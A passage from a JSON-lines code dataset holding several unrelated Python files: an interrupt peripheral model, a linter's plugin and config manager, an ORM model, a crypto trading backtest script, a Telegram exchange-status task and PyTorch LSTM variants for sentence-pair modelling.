%s\" %(msg))\n \n cls.set_active_qmp(irq_num)\n\n @classmethod\n def set_active_qmp(cls, irq_num):\n log.debug(\"Set Active: %s\" % hex(irq_num))\n cls.active[irq_num] = True\n cls._trigger_interrupt_qmp(irq_num)\n\n @classmethod\n def set_active_bp(cls, irq_num):\n log.debug(\"Set Active: %s\" % hex(irq_num))\n cls.active[irq_num] = True\n cls._trigger_interrupt_bp(irq_num)\n\n @classmethod\n def clear_active_bp(cls, irq_num):\n log.debug(\"Clear Active: %i\" % irq_num)\n peripheral_server.irq_clear_bp(irq_num)\n cls.active[irq_num] = False\n\n @classmethod\n def clear_active_qmp(cls, irq_num):\n log.debug(\"Clear Active: %i\" % irq_num)\n peripheral_server.irq_clear_qmp(irq_num)\n cls.active[irq_num] = False\n \n\n @classmethod\n def is_active(cls, irq_num):\n log.debug(\"Is Active: %i\" % irq_num)\n return cls.active[irq_num]\n\n @classmethod\n def get_first_irq(cls, highest_first=False):\n '''\n Returns the name and number of the highest priority interrupt\n \n :param highest_first: highest irq\n :returns irq_num:\n '''\n active_irqs = sorted(cls.get_active_irqs(), reverse=highest_first)\n if len(active_irqs) > 0:\n return active_irqs[0]\n else:\n return None\n\n @classmethod\n def get_active_irqs(cls):\n active_irqs = set([irq_num for irq_num, state in cls.active.items() if state ])\n enabled_irqs = set([irq_num for irq_num, state in cls.enabled.items() if state ])\n active_irqs = active_irqs.intersection(enabled_irqs)\n # log.debug(\"Get Active ISRs: %s\" % active_irqs)\n return active_irqs\n\n @classmethod\n def _trigger_interrupt_qmp(cls, irq_num):\n '''\n This should be used to trigger an interrupt for everywhere\n except in a bp_handler.\n '''\n if cls.enabled[irq_num] and cls.active[irq_num]:\n log.info(\"Triggering Interrupt: %i\" % (irq_num))\n peripheral_server.irq_set_qmp(irq_num)\n\n @classmethod\n def _trigger_interrupt_bp(cls, irq_num):\n '''n\n This should be used if need to trigger an interrupt inside a \n bp_handler. Not sure this even makes sense to do.\n '''\n if cls.enabled[irq_num] and cls.active[irq_num]:\n log.info(\"Triggering Interrupt: %i\" % irq_num)\n peripheral_server.irq_set_bp(irq_num)\n\n @classmethod\n def enable_bp(cls, irq_num):\n cls.enabled[irq_num] = True\n cls._trigger_interrupt_bp(irq_num)\n\n @classmethod\n def enable_qmp(cls, irq_num):\n cls.enabled[irq_num] = True\n cls._trigger_interrupt_qmp(irq_num)\n\n @classmethod\n def disable_bp(cls, irq_num):\n cls.enabled[irq_num] = False\n peripheral_server.irq_clear_bp(irq_num) #just want to disable it\n\n @classmethod\n def disable_qmp(cls, irq_num):\n cls.enabled[irq_num] = False\n peripheral_server.irq_clear_qmp(irq_num)", "repo_name": "sandialabs/halucinator", "sub_path": "src/halucinator/peripheral_models/interrupts.py", "file_name": "interrupts.py", "file_ext": "py", "file_size_in_byte": 3812, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 25, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 4, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 16, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 17, "usage_type": "call"}]} {"seq_id": "33979853123", "text": "import importlib\nimport json\nimport logging\nimport sys\nfrom dataclasses import dataclass, field\nfrom multiprocessing import cpu_count\nfrom pathlib import Path\nfrom typing import List, Optional, Tuple\n\nimport inspectortiger.inspector\nfrom inspectortiger.utils import _PSEUDO_FIELDS\n\nUSER_CONFIG = Path(\"~/.inspector.rc\").expanduser()\nPROJECT_CONFIG = Path(\".inspector.rc\")\nlogger = logging.getLogger(\"inspectortiger\")\n\n\nclass PluginLoadError(ImportError):\n pass\n\n\nclass _Plugin(type):\n _plugins = {}\n\n def __call__(\n cls,\n plugin,\n namespace,\n inactive=False,\n static_name=None,\n python_version=(),\n ):\n args = tuple(\n (k, v) for k, v in locals().items() if k not in _PSEUDO_FIELDS\n )\n if args not in cls._plugins:\n cls._plugins[args] = super().__call__(**dict(args))\n return cls._plugins[args]\n\n\n@dataclass(unsafe_hash=True)\nclass Plugin(metaclass=_Plugin):\n plugin: str\n namespace: str\n inactive: bool = False\n static_name: Optional[str] = None\n python_version: Tuple[int, ...] = ()\n\n @classmethod\n def from_simple(cls, simple):\n try:\n namespace, plugin = simple.rsplit(\".\", 1)\n except ValueError:\n namespace, *plugin = simple\n\n plugin = \"\".join(plugin)\n return cls(plugin, namespace)\n\n @classmethod\n def from_config(cls, config):\n result = []\n for namespace, plugins in config.items():\n result.extend(\n cls.from_simple(f\"{namespace}.{plugin}\") for plugin in plugins\n )\n return result\n\n @classmethod\n def require(cls, plugin, namespace=None):\n def wrapper(func):\n if namespace is None:\n requirement = cls.from_simple(plugin)\n else:\n requirement = cls(plugin, namespace)\n\n if not hasattr(func, \"requires\"):\n func.requires = []\n func.requires.append(requirement)\n return func\n\n return wrapper\n\n def __post_init__(self):\n\n nsx = self.expand(self.namespace)\n self.namespace = nsx[:-1]\n\n if self.static_name is None:\n self.static_name = f\"{nsx}{self.plugin}\"\n\n def __str__(self):\n return self.plugin\n\n def load(self):\n with inspectortiger.inspector.Inspector.buffer():\n try:\n plugin = importlib.import_module(self.static_name)\n except ImportError:\n raise PluginLoadError(\n f\"Couldn't load '{self.plugin}' from `{self.namespace}` namespace!\"\n )\n\n if hasattr(plugin, \"__py_version__\"):\n self.python_version = plugin.__py_version__\n\n if self.python_version > sys.version_info:\n self.inactive = True\n logger.debug(\n f\"`{self.plugin}` plugin from `{self.namespace}` couldn't load because of incompatible version.\"\n )\n raise inspectortiger.inspector.BufferExit\n\n for actionable in dir(plugin):\n actionable = getattr(plugin, actionable)\n if hasattr(\n actionable, \"_inspection_mark\"\n ): # TODO: ismarked(callable)\n actionable.plugin = self\n\n @staticmethod\n def expand(namespace):\n # prefixes\n # @ => inspectortiger.plugins\n # ? => local plugin\n\n if namespace == \"@\":\n namespace = \"inspectortiger.plugins\"\n elif namespace.startswith(\"@\"):\n namespace = namespace.replace(\"@\", \"inspectortiger.plugins.\")\n elif namespace == \"?\":\n return \"\"\n\n return namespace + \".\"\n\n\n@dataclass\nclass Blacklist:\n plugins: List[Plugin] = field(default_factory=list)\n codes: List[str] = field(default_factory=list)\n\n def __post_init__(self):\n plugins = self.plugins.copy()\n for n, plugin in enumerate(self.plugins):\n if isinstance(plugin, str):\n plugins.pop(n)\n plugins.insert(n, Plugin.from_simple(plugin))\n self.plugins = plugins\n\n\n@dataclass\nclass Config:\n workers: int = cpu_count()\n fail_exit: bool = True\n load_core: bool = True\n logging_level: int = logging.INFO\n logging_handler_level: int = logging.INFO\n\n plugins: List[Plugin] = field(default_factory=list)\n blacklist: Blacklist = field(default_factory=Blacklist)\n\n def __post_init__(self):\n if isinstance(self.plugins, dict):\n self.plugins = Plugin.from_config(self.plugins)\n\n if isinstance(self.blacklist, dict):\n self.blacklist = Blacklist(**self.blacklist)\n\n\nclass ConfigManager:\n def __init__(self):\n cfg = self._parse_config(USER_CONFIG)\n cfg.update(self._parse_config(PROJECT_CONFIG))\n self.config = Config(**cfg)\n\n @staticmethod\n def _parse_config(path):\n if not path.exists():\n logger.debug(f\"Couldn't find configuration file at {path!s}.\")\n return {}\n with open(path) as config:\n try:\n config = json.load(config)\n except json.JSONDecodeError:\n config = {}\n return config\n", "repo_name": "gridl/inspectortiger", "sub_path": "inspectortiger/config_manager.py", "file_name": "config_manager.py", "file_ext": "py", "file_size_in_byte": 5237, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "pathlib.Path", "line_number": 13, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "inspectortiger.utils._PSEUDO_FIELDS", "line_number": 34, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 46, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 47, "usage_type": "name"}, {"api_name": "inspectortiger.inspector.inspector.Inspector.buffer", "line_number": 95, "usage_type": "call"}, {"api_name": "inspectortiger.inspector.inspector", "line_number": 95, "usage_type": "attribute"}, {"api_name": "inspectortiger.inspector", "line_number": 95, "usage_type": "name"}, {"api_name": "importlib.import_module", "line_number": 97, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 106, "usage_type": "attribute"}, {"api_name": "inspectortiger.inspector.inspector", "line_number": 111, "usage_type": "attribute"}, {"api_name": "inspectortiger.inspector", "line_number": 111, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 41, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 138, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 138, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 139, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 139, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 136, "usage_type": "name"}, {"api_name": "multiprocessing.cpu_count", "line_number": 152, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 155, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 156, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 158, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 158, "usage_type": "call"}, {"api_name": "dataclasses.field", "line_number": 159, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 150, "usage_type": "name"}, {"api_name": "json.load", "line_number": 182, "usage_type": "call"}, {"api_name": "json.JSONDecodeError", "line_number": 183, "usage_type": "attribute"}]} {"seq_id": "70196594142", "text": "#!/usr/bin/python3\n\"\"\" State Module for HBNB project \"\"\"\nfrom models.base_model import BaseModel, Base\nfrom sqlalchemy import Column, String\nfrom os import getenv\n\n\nclass Amenity(BaseModel, Base):\n if getenv('HBNB_TYPE_STORAGE') == 'db':\n __tablename__ = 'amenities'\n\n name = Column(String(128), nullable=False)\n # place_amenities =\n else:\n name = \"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\" initializes Amenity. \"\"\"\n super().__init__(*args, **kwargs)\n", "repo_name": "emmagoke/AirBnB_clone_v2", "sub_path": "models/amenity.py", "file_name": "amenity.py", "file_ext": "py", "file_size_in_byte": 507, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.base_model.BaseModel", "line_number": 8, "usage_type": "name"}, {"api_name": "models.base_model.Base", "line_number": 8, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 9, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 12, "usage_type": "call"}]} {"seq_id": "39785769033", "text": "import ccxt\nimport constants\nimport websocket, json, pprint\nimport numpy as np\n\nimport random\n\nimport time\n\nSOCKET = \"wss://stream.binance.com:9443/ws/btcusdt@kline_1m\"\n\nwindow = 5\ncloses = [0 for i in range(window)]\nmoving_avg = 0\ncnt = 0\n\nbalance_usd = 100000\neth_balance = 0\n\nprev_value = 100000\nfirst = -1\n\n\nnum_dec = 0\nnum_inc = 0\n\nhere = 0\n\naccount = {\n 'ETH': {\n 'balance': 0\n },\n 'BTC': {\n 'balance': 0\n },\n 'USD': {\n 'balance': 100000\n }\n}\n\nportfolio_value_in_usd = account['USD']['balance']\n\n\nsymbol_data_map = {\n 'ETH': 'ETH/USDT',\n 'BTC': 'BTC/USDT'\n}\n\n\ndef on_open(ws):\n print('opened connection')\n\ndef on_close(ws):\n print('closed connection')\n\ndef on_message(ws, message):\n global closes, moving_avg, cnt, balance_usd, eth_balance, first\n \n print('received message')\n json_message = json.loads(message)\n # pprint.pprint(json_message['k']['c'])\n closes.append(float(json_message['k']['c']))\n\n\n\n \n \n# Consecutive falls strat\ndef adhoc():\n global num_dec, num_inc\n global closes, moving_avg, cnt, balance_usd, eth_balance, here\n\n\n print(num_inc, num_dec)\n print(closes[-1], closes[-2])\n\n if(closes[-1] > closes[-2]):\n num_inc += 1\n num_dec = 0\n \n if(closes[-1] < closes[-2]):\n num_dec += 1\n num_inc = 0\n\n if(num_inc > 2 and eth_balance > 0):\n balance_usd += closes[-1]*eth_balance\n eth_balance = 0\n \n if(num_dec > 2 and balance_usd > closes[-1]):\n balance_usd -= closes[-1]*3\n eth_balance += 3\n num_dec = 0\n \n\n portfolio_value_in_usd = balance_usd + eth_balance*closes[-1]\n\n print(balance_usd, eth_balance)\n print(portfolio_value_in_usd)\n\n\ndef buy(symbol, exchange_rate, quantity):\n global account\n if account['USD']['balance'] < exchange_rate * quantity:\n # print(f'Insufficient Balance USD')\n return\n\n account['USD']['balance'] -= (exchange_rate * quantity)\n account[symbol]['balance'] += quantity\n\n\ndef sell(symbol, exchange_rate, quantity):\n global account\n\n\n if quantity == 'all':\n account['USD']['balance'] += account[symbol]['balance'] * exchange_rate\n account[symbol]['balance'] = 0\n # print(f'Insufficient Balance {symbol}')\n return\n\n if account[symbol]['balance'] < quantity:\n # print(f'Insufficient Balance {symbol}')\n return\n\n\n account[symbol]['balance'] -= quantity\n account['USD']['balance'] += quantity * exchange_rate\n\n# Strat 1 - Random Choice\ndef random_choice(symbol, last_close):\n global account, portfolio_value_in_usd\n\n if random.random() >= 0.5:\n sell(symbol, last_close, 1)\n else:\n buy(symbol, last_close, 1)\n portfolio_value_in_usd = account['USD']['balance'] + account[symbol]['balance']*last_close\n # print(portfolio_value_in_usd)\n # print(account)\n\n# Strat 2 - SMA\nprev_closes = []\ndef simple_moving_avg(symbol, last_close, duration=5):\n global account, portfolio_value_in_usd\n\n prev_closes.append(last_close)\n # print(prev_closes)\n if len(prev_closes) < duration+1:\n # print(prev_closes)\n return\n\n # print(last_close, np.mean(prev_closes))\n if last_close < np.mean(prev_closes[len(prev_closes)-duration:]):\n buy(symbol, last_close, 1)\n else:\n sell(symbol, last_close, 1)\n\n\n portfolio_value_in_usd = account['USD']['balance'] + account[symbol]['balance']*last_close\n # print(portfolio_value_in_usd)\n # print(last_close, np.mean(prev_closes[len(prev_closes)-duration:] ), portfolio_value_in_usd)\n # print(account)\n\n\n# Strat 3 - Change of difference of closing prices\n# When difference of close prices changes from negative to positive, BUY\n# When difference of close prices changes from positive to negative, SELL\n# Result -> High change transformed to lower change eg. 15% gain -> 3 % gain, -10% loss -> -2% loss\nlast_3_closes = []\nlast_buy = -1\nlast_sell = -1\ntotal_rev = 0\ndef change_of_diff(symbol, last_close):\n\n global portfolio_value_in_usd, last_3_closes, last_buy, last_sell, total_rev\n\n if(len(last_3_closes) < 3):\n last_3_closes.append(last_close)\n return\n else:\n last_3_closes.pop(0)\n last_3_closes.append(last_close)\n\n print(last_3_closes, last_3_closes[1] - last_3_closes[0], last_3_closes[2] - last_3_closes[1])\n # print(last_3_closes[1] - last_3_closes[0], last_3_closes[2] - last_3_closes[1])\n if (last_3_closes[1] - last_3_closes[0] < 0) and (last_3_closes[2] - last_3_closes[1] > 0):\n last_buy = last_3_closes[2]\n buy(symbol, last_3_closes[2], 1)\n\n if (last_3_closes[1] - last_3_closes[0] > 0) and (last_3_closes[2] - last_3_closes[1] < 0):\n sell(symbol, last_3_closes[2], 1)\n print(f\"SELL {last_3_closes[2]}, last BUY {last_buy}\")\n print(last_buy - last_3_closes[2], total_rev)\n if last_buy != -1:\n total_rev += (last_3_closes[2] - last_buy)\n\n portfolio_value_in_usd = account['USD']['balance'] + account[symbol]['balance']*last_3_closes[2]\n\n\n\ndef reset():\n global account, portfolio_value_in_usd\n account = {\n 'ETH': {\n 'balance': 0\n },\n 'BTC': {\n 'balance': 0\n },\n 'USD': {\n 'balance': 100000\n }\n }\n portfolio_value_in_usd = account['USD']['balance']\n\n\ndef get_data(symbol):\n binance = ccxt.binance()\n # each ohlcv candle is a list of [ timestamp, open, high, low, close, volume ]\n return binance.fetchOHLCV(symbol_data_map[symbol], timeframe='5m', params={})\n\ndef backtest(symbol, strategy):\n global balance_usd, eth_balance, portfolio_value_in_usd, total_rev\n data = get_data(symbol)\n print(type(strategy))\n print(strategy)\n # print(data)\n for candle in data:\n if strategy.__name__ == 'simple_moving_avg':\n strategy(symbol, candle[1], duration=5)\n\n if strategy.__name__ == 'random_choice':\n strategy(symbol, candle[1])\n\n if strategy.__name__ == 'change_of_diff':\n strategy(symbol, candle[4])\n\n end_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(data[-1][0]/1000))\n start_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(data[0][0]/1000))\n\n print(f\"Backtest Results: {total_rev}\")\n print()\n print(f'Start time: {start_time}, End time: {end_time}')\n print(f'Start price: {data[0][1]}, End price: {data[-1][1]}')\n print(f'Price difference: {data[-1][1] - data[0][1]}')\n print()\n print(f\"{symbol} percent change {(100*(data[-1][1] - data[0][1])/float(data[0][1]))}\")\n print(f\"Gain / Loss in percent {(100*(portfolio_value_in_usd-100000)/float(100000))}\")\n print(account)\n print(portfolio_value_in_usd)\n reset()\n\n\n\n\nexchange_id = 'binance'\nexchange_class = getattr(ccxt, exchange_id)\nexchange = exchange_class({\n 'apiKey': constants.BINANCE_API_KEY,\n 'secret': constants.BINANCE_SECRET,\n})\n\nbinance_markets = exchange.load_markets()\n\nbacktest('BTC', change_of_diff)\n# ws = websocket.WebSocketApp(SOCKET, on_open=on_open, on_close=on_close, on_message=on_message)\n# ws.run_forever()\n\n", "repo_name": "iamsharduld/financial-forecasting", "sub_path": "bot/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 7141, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.loads", "line_number": 60, "usage_type": "call"}, {"api_name": "random.random", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 153, "usage_type": "call"}, {"api_name": "ccxt.binance", "line_number": 218, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 238, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 238, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 239, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 239, "usage_type": "call"}, {"api_name": "constants.BINANCE_API_KEY", "line_number": 259, "usage_type": "attribute"}, {"api_name": "constants.BINANCE_SECRET", "line_number": 260, "usage_type": "attribute"}]} {"seq_id": "7744092276", "text": "from aiogram import Bot\r\nfrom aiogram.exceptions import TelegramForbiddenError, TelegramBadRequest\r\nfrom aiogram.utils.markdown import hbold\r\n\r\nfrom tgbot.misc.exchenger_api import PremiumExchanger\r\nfrom tgbot.misc.tools import get_status_info\r\nfrom tgbot.models.db_commands import get_all_exchangers, get_direction, add_direction\r\n\r\n\r\nasync def check_exchange_status(bot: Bot, exchanger: PremiumExchanger):\r\n exchanges = await get_all_exchangers()\r\n for exchange in exchanges:\r\n try:\r\n exchange_api_info = await exchanger.get_exchange(exchange.exchange_id)\r\n except Exception:\r\n continue\r\n if exchange.status != exchange_api_info['status']:\r\n exchange.status = exchange_api_info['status']\r\n status = await get_status_info(exchange_api_info['status'])\r\n try:\r\n await bot.send_message(text='\\n'.join([\r\n f'Статус заявки №{exchange.exchange_id} изменился на {hbold(status)}'\r\n ]), chat_id=exchange.user.telegram_id)\r\n except (TelegramForbiddenError, TelegramBadRequest):\r\n pass\r\n exchange.save()\r\n\r\n\r\nasync def parse_direction(exchanger: PremiumExchanger):\r\n directions = await exchanger.get_directions()\r\n if not directions:\r\n return\r\n count = 0\r\n for direction in directions:\r\n check_dir = await get_direction(direction['direction_id'])\r\n if check_dir:\r\n continue\r\n\r\n await add_direction(direction['direction_id'], f'{direction[\"currency_give_title\"]} ➡️ '\r\n f'{direction[\"currency_get_title\"]}')\r\n count += 1\r\n return count\r\n", "repo_name": "emuhich/premium_exchanger_bot_2", "sub_path": "tgbot/misc/start_by_time.py", "file_name": "start_by_time.py", "file_ext": "py", "file_size_in_byte": 1738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "aiogram.Bot", "line_number": 10, "usage_type": "name"}, {"api_name": "tgbot.misc.exchenger_api.PremiumExchanger", "line_number": 10, "usage_type": "name"}, {"api_name": "tgbot.models.db_commands.get_all_exchangers", "line_number": 11, "usage_type": "call"}, {"api_name": "tgbot.misc.tools.get_status_info", "line_number": 19, "usage_type": "call"}, {"api_name": "aiogram.utils.markdown.hbold", "line_number": 22, "usage_type": "call"}, {"api_name": "aiogram.exceptions.TelegramForbiddenError", "line_number": 24, "usage_type": "name"}, {"api_name": "aiogram.exceptions.TelegramBadRequest", "line_number": 24, "usage_type": "name"}, {"api_name": "tgbot.misc.exchenger_api.PremiumExchanger", "line_number": 29, "usage_type": "name"}, {"api_name": "tgbot.models.db_commands.get_direction", "line_number": 35, "usage_type": "call"}, {"api_name": "tgbot.models.db_commands.add_direction", "line_number": 39, "usage_type": "call"}]} {"seq_id": "73171069662", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable as Var\nfrom torch.autograd import Function as Function\nfrom functools import reduce\nimport math\n\nclass CMul(nn.Module):\n def __init__(self, in_dim):\n super(CMul, self).__init__()\n self.in_dim = in_dim\n self.weight = nn.Parameter(torch.Tensor(in_dim))\n self.reset_parameters()\n\n def reset_parameters(self):\n stdv = 1. / math.sqrt(self.in_dim)\n self.weight.data.uniform_(-stdv, stdv)\n\n def forward(self, input):\n return torch.mul(self.weight.repeat(input.size(0), 1), input)\n\nclass ULSTM(nn.Module):\n def __init__(self, in_dim, mem_dim, use_o=True):\n super(ULSTM, self).__init__()\n self.in_dim = in_dim\n self.mem_dim = mem_dim\n self.use_o = use_o\n\n self.iozfux = nn.Linear(self.in_dim, 5 * self.mem_dim)\n self.iozfh = nn.Linear(self.mem_dim, 4 * self.mem_dim)\n self.um = nn.Linear(self.mem_dim, self.mem_dim)\n\n def reset(self):\n # reset forget gate bias\n self.iozfux.bias.data[3*self.mem_dim : 4*self.mem_dim].fill_(1.5)\n self.iozfh.bias.data[3*self.mem_dim : 4*self.mem_dim].fill_(1.5)\n\n def node_forward(self, c_t_1, h_t_1, input):\n '''\n c_t_1 --> (1, mem_dim)\n h_t_1 --> (1, mem_dim)\n input --> (1, in_dim)\n\n '''\n iozfux = torch.unsqueeze(self.iozfux(input), 0)\n ix, ox, zx, fx, ux = torch.split(iozfux, iozfux.size(1) // 5, dim=1)\n iozfh = self.iozfh(h_t_1)\n ih, oh, zh, fh = torch.split(iozfh, iozfh.size(1) // 4, dim=1)\n\n \"\"\"\n Transitions:\n i = sigmoid(W_i * input + U_i * h_t_1 + b_i)\n f = sigmoid(W_f * input + U_f * h_t_1 + b_f)\n o = sigmoid(w_o * input + U_o * h_t_1 + b_o)\n z = sigmoid(W_z * input + U_z * h_t_1 + b_z)\n candidate = tanh(W * input + M * (z \\odot tanh(c_t_1)) + b)\n c_t = i \\odot candidate + f \\odot c_t_1\n h_t = o \\odot tanh(c_t)\n \"\"\"\n i, o, f, z = F.sigmoid(ix + ih), F.sigmoid(ox + oh), F.sigmoid(fx + fh), F.sigmoid(zx + zh)\n\n u = ux + self.um(torch.mul(z, F.tanh(c_t_1)))\n u = F.tanh(u)\n\n c = torch.mul(i, u) + torch.mul(f, c_t_1)\n\n if self.use_o:\n h = torch.mul(o, F.tanh(c))\n else:\n h = F.tanh(c)\n return c, h\n\n def forward(self, inputs):\n c_t, h_t = None, None\n for i in range(inputs.size(0)):\n if i == 0:\n c_t_1 = Var(inputs[0].data.new(1, self.mem_dim).fill_(0.))\n h_t_1 = Var(inputs[0].data.new(1, self.mem_dim).fill_(0.))\n else:\n c_t_1 = c_t\n h_t_1 = h_t\n c_t, h_t = self.node_forward(c_t_1, h_t_1, inputs[i])\n return c_t, h_t\n\nclass PLSTM(nn.Module):\n def __init__(self, in_dim, mem_dim, use_o=True):\n super(PLSTM, self).__init__()\n self.in_dim = in_dim\n self.mem_dim = mem_dim\n self.use_o = use_o\n\n self.iofux = nn.Linear(self.in_dim, 4 * self.mem_dim)\n self.iofuh = nn.Linear(self.mem_dim, 4 * self.mem_dim)\n\n self.zc = nn.Parameter(torch.Tensor(1, self.mem_dim))\n stdv = 1.0 / math.sqrt(self.mem_dim)\n self.zc.data.uniform_(-stdv, stdv)\n\n\n def reset(self):\n # reset forget gate bias\n self.iofux.bias.data[2*self.mem_dim : 3*self.mem_dim].fill_(1.5)\n self.iofux.bias.data[2*self.mem_dim : 3*self.mem_dim].fill_(1.5)\n\n def node_forward(self, c_t_1, h_t_1, input):\n '''\n c_t_1 --> (1, mem_dim)\n h_t_1 --> (1, mem_dim)\n input --> (1, in_dim)\n '''\n iofu = self.iofux(input) + self.iofuh(h_t_1)\n i, o, f, u = torch.split(iofu, iofu.size(1) // 4, dim=1)\n\n \"\"\"\n Transitions:\n i = sigmoid(W_i * input + U_i * h_t_1 + b_i)\n f = sigmoid(W_f * input + U_f * h_t_1 + b_f)\n o = sigmoid(w_o * input + U_o * h_t_1 + b_o)\n candidate = tanh(W * input + U * h_t_1 + b)\n c_t = i \\odot candidate + f \\odot c_t_1\n h_t = o \\odot tanh(c_t)\n \"\"\"\n i, o, f = F.sigmoid(i), F.sigmoid(o), F.sigmoid(f)\n u = F.tanh(u + torch.mul(self.zc.expand(c_t_1.size(0), self.mem_dim), c_t_1))\n\n c = torch.mul(i, u) + torch.mul(f, c_t_1)\n\n if self.use_o:\n h = torch.mul(o, F.tanh(c))\n else:\n h = F.tanh(c)\n return c, h\n\n def forward(self, inputs):\n c_t, h_t = None, None\n for i in range(inputs.size(0)):\n if i == 0:\n c_t_1 = Var(inputs[0].data.new(1, self.mem_dim).fill_(0.))\n h_t_1 = Var(inputs[0].data.new(1, self.mem_dim).fill_(0.))\n else:\n c_t_1 = c_t\n h_t_1 = h_t\n c_t, h_t = self.node_forward(c_t_1, h_t_1, inputs[i])\n return c_t, h_t\n\nclass LSTM(nn.Module):\n def __init__(self, in_dim, mem_dim, use_o=True):\n super(LSTM, self).__init__()\n self.in_dim = in_dim\n self.mem_dim = mem_dim\n self.use_o = use_o\n\n self.iofux = nn.Linear(self.in_dim, 4 * self.mem_dim)\n self.iofuh = nn.Linear(self.mem_dim, 4 * self.mem_dim)\n\n def reset(self):\n # reset forget gate bias\n self.iofux.bias.data[2*self.mem_dim : 3*self.mem_dim].fill_(1.5)\n self.iofux.bias.data[2*self.mem_dim : 3*self.mem_dim].fill_(1.5)\n\n def node_forward(self, c_t_1, h_t_1, input):\n '''\n c_t_1 --> (1, mem_dim)\n h_t_1 --> (1, mem_dim)\n input --> (1, in_dim)\n '''\n iofu = self.iofux(input) + self.iofuh(h_t_1)\n i, o, f, u = torch.split(iofu, iofu.size(1) // 4, dim=1)\n\n \"\"\"\n Transitions:\n i = sigmoid(W_i * input + U_i * h_t_1 + b_i)\n f = sigmoid(W_f * input + U_f * h_t_1 + b_f)\n o = sigmoid(w_o * input + U_o * h_t_1 + b_o)\n candidate = tanh(W * input + U * h_t_1 + b)\n c_t = i \\odot candidate + f \\odot c_t_1\n h_t = o \\odot tanh(c_t)\n \"\"\"\n i, o, f, u = F.sigmoid(i), F.sigmoid(o), F.sigmoid(f), F.tanh(u)\n\n c = torch.mul(i, u) + torch.mul(f, c_t_1)\n\n if self.use_o:\n h = torch.mul(o, F.tanh(c))\n else:\n h = F.tanh(c)\n return c, h\n\n def forward(self, inputs):\n c_t, h_t = None, None\n for i in range(inputs.size(0)):\n if i == 0:\n c_t_1 = Var(inputs[0].data.new(1, self.mem_dim).fill_(0.))\n h_t_1 = Var(inputs[0].data.new(1, self.mem_dim).fill_(0.))\n else:\n c_t_1 = c_t\n h_t_1 = h_t\n c_t, h_t = self.node_forward(c_t_1, h_t_1, inputs[i])\n return c_t, h_t\n\nclass DualMLP(nn.Module):\n def __init__(self, rep_dim, hidden_dim, output_dim):\n super(DualMLP, self).__init__()\n self.rep_dim = rep_dim\n self.hidden_dim = hidden_dim\n self.output_dim = output_dim\n\n self.layer_1 = nn.Linear(2 * rep_dim, hidden_dim)\n self.layer_2 = nn.Linear(hidden_dim, output_dim)\n\n def forward(self, lvec, rvec):\n mult_dist = torch.mul(lvec, rvec)\n abs_dist = torch.abs(torch.add(lvec, -rvec))\n vec_dist = torch.cat((mult_dist, abs_dist), 1)\n\n output = self.layer_1(vec_dist)\n output = F.relu(output)\n output = self.layer_2(output)\n return output\n\nclass SentPairNetwork(nn.Module):\n def __init__(self, vocab_size, in_dim, mem_dim, hidden_dims, type, sparsity, tune, use_o):\n super(SentPairNetwork, self).__init__()\n self.vocab_size = vocab_size\n self.in_dim = in_dim\n self.mem_dim = mem_dim\n self.hidden_dims = hidden_dims\n self.type = type\n self.sparsity = sparsity\n self.tune = tune\n self.use_o = use_o\n\n # Embedding Layer\n self.emb = nn.Embedding(vocab_size, in_dim, sparse=sparsity)\n if not tune:\n self.emb.weight.requires_grad = False\n # Sequence Model\n if type == 'ulstm':\n self.model = ULSTM(in_dim, mem_dim, use_o)\n rep_dim = mem_dim\n elif type == 'plstm':\n self.model = PLSTM(in_dim, mem_dim, use_o)\n rep_dim = mem_dim\n elif type == 'lstm':\n self.model = LSTM(in_dim, mem_dim, use_o, peephole)\n rep_dim = mem_dim\n else:\n raise Exception('unsupported structure')\n self.mlp = DualMLP(rep_dim, hidden_dims[0], hidden_dims[1])\n\n def forward(self, linput, rinput):\n linput = self.emb(linput)\n rinput = self.emb(rinput)\n _, lrep = self.model(linput)\n _, rrep = self.model(rinput)\n output = self.mlp(lrep, rrep)\n return output\n", "repo_name": "HangGao/ULSTM", "sub_path": "sent_pair/code/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 8842, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, 